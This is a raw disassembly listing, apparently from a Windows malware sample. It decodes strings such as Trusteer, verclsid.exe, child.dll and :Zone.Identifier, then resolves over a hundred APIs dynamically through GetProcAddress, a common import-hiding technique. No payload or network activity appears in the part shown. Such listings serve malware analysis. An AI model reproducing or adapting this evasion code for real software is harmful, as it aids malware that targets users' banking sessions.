mov qword [0x140028540], rax
mov edx, 0xd
lea rcx, str.Shell_TrayWnd
call fcn.14001142e
mov qword [0x140028550], rax
mov edx, 0xc
lea rcx, str.verclsid.exe
call fcn.14001142e
mov qword [0x140028558], rax
mov edx, 2
lea rcx, [0x1400244e0]
call fcn.14001142e
mov qword [0x140028560], rax
mov edx, 2
lea rcx, [0x1400244e4]
call fcn.14001142e
mov qword [0x140028568], rax
mov edx, 9
lea rcx, str.child.dll
call fcn.14001142e
mov qword [0x140028570], rax
mov edx, 0x10
lea rcx, str.:Zone.Identifier
call fcn.14001142e
mov qword [0x140028578], rax
mov edx, 8
lea rcx, str.Trusteer
call fcn.14001142e
mov qword [0x140028580], rax
mov rcx, qword [0x140027c28]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [0x140027d08]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140027380], rax
mov rcx, qword [0x140027c20]
call qword [0x140027380]
mov qword [rbp], rax
mov rcx, qword [0x140027c28]
call qword [0x140027380]
mov qword [rbp + 8], rax
mov rcx, qword [0x140027c38]
call qword [0x140027380]
mov qword [rbp + 0x10], rax
mov rcx, qword [0x140027c40]
call qword [0x140027380]
mov qword [rbp + 0x18], rax
mov rcx, qword [0x140027c48]
call qword [0x140027380]
mov qword [rbp + 0x20], rax
mov rcx, qword [0x140027c50]
call qword [0x140027380]
mov qword [rbp + 0x28], rax
mov rcx, qword [0x140027c58]
call qword [0x140027380]
mov qword [rbp + 0x30], rax
mov rcx, qword [0x140027c60]
call qword [0x140027380]
mov qword [rbp + 0x38], rax
mov rcx, qword [0x140027c68]
call qword [0x140027380]
mov qword [rbp + 0x40], rax
mov rcx, qword [0x140027c70]
call qword [0x140027380]
mov qword [rbp + 0x48], rax
mov rcx, qword [0x140027c78]
call qword [0x140027380]
mov qword [rbp + 0x50], rax
mov rcx, qword [0x140027c80]
call qword [0x140027380]
mov qword [rbp + 0x58], rax
mov rcx, qword [0x140027c88]
call qword [0x140027380]
mov qword [rbp + 0x60], rax
mov rdx, qword [0x140027d10]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140027388], rax
mov rdx, qword [0x140027cb8]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x140027328], rax
mov rdx, qword [0x140027cc0]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027330], rax
mov rdx, qword [0x140027cb0]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027338], rax
mov rdx, qword [0x140027cc8]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027340], rax
mov rdx, qword [0x140027cd0]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x140027348], rax
mov rdx, qword [0x140027cd8]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027350], rax
mov rdx, qword [0x140027ce0]
mov rcx, qword [rbp + 0x10]
call qword [0x140027388]
mov qword [0x140027358], rax
mov rdx, qword [0x140027ce8]
mov rcx, qword [rbp + 0x10]
call qword [0x140027388]
mov qword [0x140027360], rax
mov rdx, qword [0x140027cf0]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027368], rax
mov rdx, qword [0x140027cf8]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027370], rax
mov rdx, qword [0x140027d00]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027378], rax
mov rdx, qword [0x140027d18]
mov rcx, qword [rbp + 0x20]
call qword [0x140027388]
mov qword [0x140027390], rax
mov rdx, qword [0x140027d20]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027398], rax
mov rdx, qword [0x140027d28]
mov rcx, qword [rbp + 0x20]
call qword [0x140027388]
mov qword [0x1400273a0], rax
mov rdx, qword [0x140027d30]
mov rcx, qword [rbp + 0x10]
call qword [0x140027388]
mov qword [0x1400273a8], rax
mov rdx, qword [0x140027d38]
mov rcx, qword [rbp + 0x10]
call qword [0x140027388]
mov qword [0x1400273b0], rax
mov rdx, qword [0x140027d40]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x1400273b8], rax
mov rdx, qword [0x140027d48]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x1400273c0], rax
mov rdx, qword [0x140027d50]
mov rcx, qword [rbp + 0x28]
call qword [0x140027388]
mov qword [0x1400273c8], rax
mov rdx, qword [0x140027d58]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x1400273d0], rax
mov rdx, qword [0x140027d60]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x1400273d8], rax
mov rdx, qword [0x140027d68]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x1400273e0], rax
mov rdx, qword [0x140027d70]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x1400273e8], rax
mov rdx, qword [0x140027d78]
mov rcx, qword [rbp + 0x30]
call qword [0x140027388]
mov qword [0x1400273f0], rax
mov rdx, qword [0x140027d80]
mov rcx, qword [rbp + 0x38]
call qword [0x140027388]
mov qword [0x1400273f8], rax
mov rdx, qword [0x140027d88]
mov rcx, qword [rbp + 0x38]
call qword [0x140027388]
mov qword [0x140027400], rax
mov rdx, qword [0x140027d90]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027408], rax
mov rdx, qword [0x140027d98]
mov rcx, qword [rbp + 0x10]
call qword [0x140027388]
mov qword [0x140027410], rax
mov rdx, qword [0x140027da8]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027420], rax
mov rdx, qword [0x140027da0]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027418], rax
mov rdx, qword [0x140027db0]
mov rcx, qword [rbp + 0x20]
call qword [0x140027388]
mov qword [0x140027428], rax
mov rdx, qword [0x140027db8]
mov rcx, qword [rbp + 0x20]
call qword [0x140027388]
mov qword [0x140027430], rax
mov rdx, qword [0x140027dc0]
mov rcx, qword [rbp + 0x10]
call qword [0x140027388]
mov qword [0x140027438], rax
mov rdx, qword [0x140027dc8]
mov rcx, qword [rbp + 0x10]
call qword [0x140027388]
mov qword [0x140027440], rax
mov rdx, qword [0x140027dd0]
mov rcx, qword [rbp + 0x40]
call qword [0x140027388]
mov qword [0x140027448], rax
mov rdx, qword [0x140027dd8]
mov rcx, qword [rbp + 0x40]
call qword [0x140027388]
mov qword [0x140027450], rax
mov rdx, qword [0x140027de0]
mov rcx, qword [rbp + 0x40]
call qword [0x140027388]
mov qword [0x140027458], rax
mov rdx, qword [0x140027de8]
mov rcx, qword [rbp + 0x40]
call qword [0x140027388]
mov qword [0x140027460], rax
mov rdx, qword [0x140027df0]
mov rcx, qword [rbp + 0x40]
call qword [0x140027388]
mov qword [0x140027468], rax
mov rdx, qword [0x140027df8]
mov rcx, qword [rbp + 0x40]
call qword [0x140027388]
mov qword [0x140027470], rax
mov rdx, qword [0x140027e00]
mov rcx, qword [rbp + 0x40]
call qword [0x140027388]
mov qword [0x140027478], rax
mov rdx, qword [0x140027e08]
mov rcx, qword [rbp + 0x40]
call qword [0x140027388]
mov qword [0x140027480], rax
mov rdx, qword [0x140027e10]
mov rcx, qword [rbp + 0x40]
call qword [0x140027388]
mov qword [0x140027488], rax
mov rdx, qword [0x140027e18]
mov rcx, qword [rbp + 0x10]
call qword [0x140027388]
mov qword [0x140027490], rax
mov rdx, qword [0x140027e20]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027498], rax
mov rdx, qword [0x140027e28]
mov rcx, qword [rbp + 0x18]
call qword [0x140027388]
mov qword [0x1400274a0], rax
mov rdx, qword [0x140027e38]
mov rcx, qword [rbp + 0x18]
call qword [0x140027388]
mov qword [0x1400274a8], rax
mov rdx, qword [0x140027e30]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027320], rax
mov rdx, qword [0x1400281c8]
mov rcx, qword [rbp + 0x18]
call qword [0x140027388]
mov qword [0x1400274b0], rax
mov rdx, qword [0x140027e40]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x1400274b8], rax
mov rdx, qword [0x140027e58]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x1400274c0], rax
mov rdx, qword [0x140027e48]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x1400274d0], rax
mov rdx, qword [0x140027e50]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x1400274c8], rax
mov rdx, qword [0x140027e60]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x1400274d8], rax
mov rdx, qword [0x140027e68]
mov rcx, qword [rbp + 0x10]
call qword [0x140027388]
mov qword [0x1400274e0], rax
mov rdx, qword [0x140027e70]
mov rcx, qword [rbp + 0x10]
call qword [0x140027388]
mov qword [0x1400274e8], rax
mov rdx, qword [0x140027e78]
mov rcx, qword [rbp + 0x10]
call qword [0x140027388]
mov qword [0x1400274f0], rax
mov rdx, qword [0x140027e80]
mov rcx, qword [rbp + 0x10]
call qword [0x140027388]
mov qword [0x1400274f8], rax
mov rdx, qword [0x140027e88]
mov rcx, qword [rbp + 0x10]
call qword [0x140027388]
mov qword [0x140027500], rax
mov rdx, qword [0x140027e90]
mov rcx, qword [rbp + 0x10]
call qword [0x140027388]
mov qword [0x140027508], rax
mov rdx, qword [0x140027e98]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027510], rax
mov rdx, qword [0x140027ea0]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027518], rax
mov rdx, qword [0x140027ea8]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027520], rax
mov rdx, qword [0x140027eb0]
mov rcx, qword [rbp + 0x20]
call qword [0x140027388]
mov qword [0x140027528], rax
mov rdx, qword [0x140027eb8]
mov rcx, qword [rbp + 0x20]
call qword [0x140027388]
mov qword [0x140027530], rax
mov rdx, qword [0x140027ec0]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027538], rax
mov rdx, qword [0x140027ec8]
mov rcx, qword [rbp + 0x48]
call qword [0x140027388]
mov qword [0x140027540], rax
mov rdx, qword [0x140027ed0]
mov rcx, qword [rbp + 0x48]
call qword [0x140027388]
mov qword [0x140027548], rax
mov rdx, qword [0x140027ed8]
mov rcx, qword [rbp + 0x48]
call qword [0x140027388]
mov qword [0x140027550], rax
mov rdx, qword [0x140027ee0]
mov rcx, qword [rbp + 0x50]
call qword [0x140027388]
mov qword [0x140027558], rax
mov rdx, qword [0x140027ee8]
mov rcx, qword [rbp + 0x10]
call qword [0x140027388]
mov qword [0x140027560], rax
mov rdx, qword [0x140027ef0]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027568], rax
mov rdx, qword [0x140027ef8]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027570], rax
mov rdx, qword [0x140027f00]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027578], rax
mov rdx, qword [0x140027f08]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027580], rax
mov rdx, qword [0x140027f10]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027588], rax
mov rdx, qword [0x140027f18]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027590], rax
mov rdx, qword [0x140027f20]
mov rcx, qword [rbp + 0x38]
call qword [0x140027388]
mov qword [0x140027598], rax
mov rdx, qword [0x140027f28]
mov rcx, qword [rbp + 0x38]
call qword [0x140027388]
mov qword [0x1400275a0], rax
mov rdx, qword [0x140027f30]
mov rcx, qword [rbp + 0x38]
call qword [0x140027388]
mov qword [0x1400275a8], rax
mov rdx, qword [0x140027f38]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x1400275b0], rax
mov rdx, qword [0x140027f40]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x1400275b8], rax
mov rdx, qword [0x140027f48]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x1400275c0], rax
mov rdx, qword [0x140027f50]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x1400275c8], rax
mov rdx, qword [0x140027f58]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x1400275d0], rax
mov rdx, qword [0x140027f60]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x1400275d8], rax
mov rdx, qword [0x140027f68]
mov rcx, qword [rbp + 0x38]
call qword [0x140027388]
mov qword [0x1400275e0], rax
mov rdx, qword [0x140027f70]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x1400275e8], rax
mov rdx, qword [0x140027f78]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x1400275f0], rax
mov rdx, qword [0x140027f80]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x1400275f8], rax
mov rdx, qword [0x140027f88]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027600], rax
mov rdx, qword [0x140027f90]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027608], rax
mov rdx, qword [0x140027f98]
mov rcx, qword [rbp + 0x58]
call qword [0x140027388]
mov qword [0x140027610], rax
mov rdx, qword [0x140027fa0]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027618], rax
mov rdx, qword [0x140027fa8]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027620], rax
mov rdx, qword [0x140027fb0]
mov rcx, qword [rbp + 0x28]
call qword [0x140027388]
mov qword [0x140027628], rax
mov rdx, qword [0x140027fb8]
mov rcx, qword [rbp + 0x40]
call qword [0x140027388]
mov qword [0x140027630], rax
mov rdx, qword [0x140027fc0]
mov rcx, qword [rbp + 0x40]
call qword [0x140027388]
mov qword [0x140027638], rax
mov rdx, qword [0x140027fc8]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027640], rax
mov rdx, qword [0x140027fd0]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027648], rax
mov rdx, qword [0x140027fd8]
mov rcx, qword [rbp + 0x18]
call qword [0x140027388]
mov qword [0x140027650], rax
mov rdx, qword [0x140027fe0]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027658], rax
mov rdx, qword [0x140027fe8]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x140027660], rax
mov rdx, qword [0x140027ff0]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x140027668], rax
mov rdx, qword [0x140027ff8]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027670], rax
mov rdx, qword [0x140028000]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x140027678], rax
mov rdx, qword [0x140028008]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027680], rax
mov rdx, qword [0x140028010]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027688], rax
mov rdx, qword [0x140028018]
mov rcx, qword [rbp + 0x20]
call qword [0x140027388]
mov qword [0x140027690], rax
mov rdx, qword [0x140028020]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027698], rax
mov rdx, qword [0x140028028]
mov rcx, qword [rbp + 0x58]
call qword [0x140027388]
mov qword [0x1400276a0], rax
mov rdx, qword [0x140028030]
mov rcx, qword [rbp + 0x58]
call qword [0x140027388]
mov qword [0x1400276a8], rax
mov rdx, qword [0x140028038]
mov rcx, qword [rbp + 0x18]
call qword [0x140027388]
mov qword [0x1400276b0], rax
mov rdx, qword [0x140028040]
mov rcx, qword [rbp + 0x18]
call qword [0x140027388]
mov qword [0x1400276b8], rax
mov rdx, qword [0x140028048]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x1400276c0], rax
mov rdx, qword [0x140028050]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x1400276c8], rax
mov rdx, qword [0x140028058]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x1400276d0], rax
mov rdx, qword [0x140028060]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x1400276d8], rax
mov rdx, qword [0x140028068]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x1400276e0], rax
mov rdx, qword [0x140028070]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x1400276e8], rax
mov rdx, qword [0x140028078]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x1400276f0], rax
mov rdx, qword [0x140028080]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x1400276f8], rax
mov rdx, qword [0x140028088]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x140027700], rax
mov rdx, qword [0x140028090]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x140027708], rax
mov rdx, qword [0x140028098]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x140027710], rax
mov rdx, qword [0x1400280a0]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x140027718], rax
mov rdx, qword [0x1400280a8]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x140027720], rax
mov rdx, qword [0x1400280b0]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x140027728], rax
mov rdx, qword [0x1400280b8]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x140027730], rax
mov rdx, qword [0x1400280c8]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x140027740], rax
mov rdx, qword [0x1400280c0]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x140027738], rax
mov rdx, qword [0x1400280d0]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x140027748], rax
mov rdx, qword [0x1400280d8]
mov rcx, qword [rbp + 0x28]
call qword [0x140027388]
mov qword [0x140027750], rax
mov rdx, qword [0x1400280e0]
mov rcx, qword [rbp + 0x38]
call qword [0x140027388]
mov qword [0x140027758], rax
mov rdx, qword [0x1400280e8]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x140027760], rax
mov rdx, qword [0x1400280f0]
mov rcx, qword [rbp + 0x60]
call qword [0x140027388]
mov qword [0x140027768], rax
mov rdx, qword [0x1400280f8]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x140027770], rax
mov rdx, qword [0x140028100]
mov rcx, qword [rbp + 0x60]
call qword [0x140027388]
mov qword [0x140027778], rax
mov rdx, qword [0x140028108]
mov rcx, qword [rbp + 0x60]
call qword [0x140027388]
mov qword [0x140027780], rax
mov rdx, qword [0x140028110]
mov rcx, qword [rbp + 0x60]
call qword [0x140027388]
mov qword [0x140027788], rax
mov rdx, qword [0x140028118]
mov rcx, qword [rbp + 0x60]
call qword [0x140027388]
mov qword [0x140027790], rax
mov rdx, qword [0x140028120]
mov rcx, qword [rbp + 0x60]
call qword [0x140027388]
mov qword [0x140027798], rax
mov rdx, qword [0x140028128]
mov rcx, qword [rbp + 0x60]
call qword [0x140027388]
mov qword [0x1400277a0], rax
mov rdx, qword [0x140028130]
mov rcx, qword [rbp + 0x60]
call qword [0x140027388]
mov qword [0x1400277a8], rax
mov rdx, qword [0x140028138]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x1400277b0], rax
mov rdx, qword [0x140028140]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x1400277b8], rax
mov rdx, qword [0x140028148]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x1400277c0], rax
mov rdx, qword [0x140028150]
mov rcx, qword [rbp + 0x60]
call qword [0x140027388]
mov qword [0x1400277c8], rax
mov rdx, qword [0x140028158]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x1400277d0], rax
mov rdx, qword [0x140028160]
mov rcx, qword [rbp]
call qword [0x140027388]
mov qword [0x1400277d8], rax
mov rdx, qword [0x140028168]
mov rcx, qword [rbp + 0x18]
call qword [0x140027388]
mov qword [0x1400277e0], rax
mov rdx, qword [0x140028170]
mov rcx, qword [rbp + 0x18]
call qword [0x140027388]
mov qword [0x1400277e8], rax
mov rdx, qword [0x140028178]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x1400277f0], rax
mov rdx, qword [0x140028180]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x1400277f8], rax
mov rdx, qword [0x140028188]
mov rcx, qword [rbp + 0x28]
call qword [0x140027388]
mov qword [0x140027800], rax
mov rdx, qword [0x140028190]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027808], rax
mov rdx, qword [0x140028198]
mov rcx, qword [rbp + 8]
call qword [0x140027388]
mov qword [0x140027810], rax
mov rcx, qword [0x140027c40]
call fcn.1400110ff
mov qword [0x140027ca0], rax
mov rcx, qword [0x1400282e8]
call fcn.1400110ff
mov qword [0x140028590], rax
mov rcx, qword [0x1400282e0]
call fcn.1400110ff
mov qword [0x140028588], rax
mov rcx, qword [0x140027c80]
call fcn.1400110ff
mov qword [0x140027ca8], rax
mov rcx, qword [0x140027c28]
call fcn.1400110ff
mov qword [0x140027c98], rax
mov rcx, qword [0x140027c30]
call fcn.1400110ff
mov qword [0x140027c90], rax
lea rsp, [rbp + 0xb0]
pop rbp
ret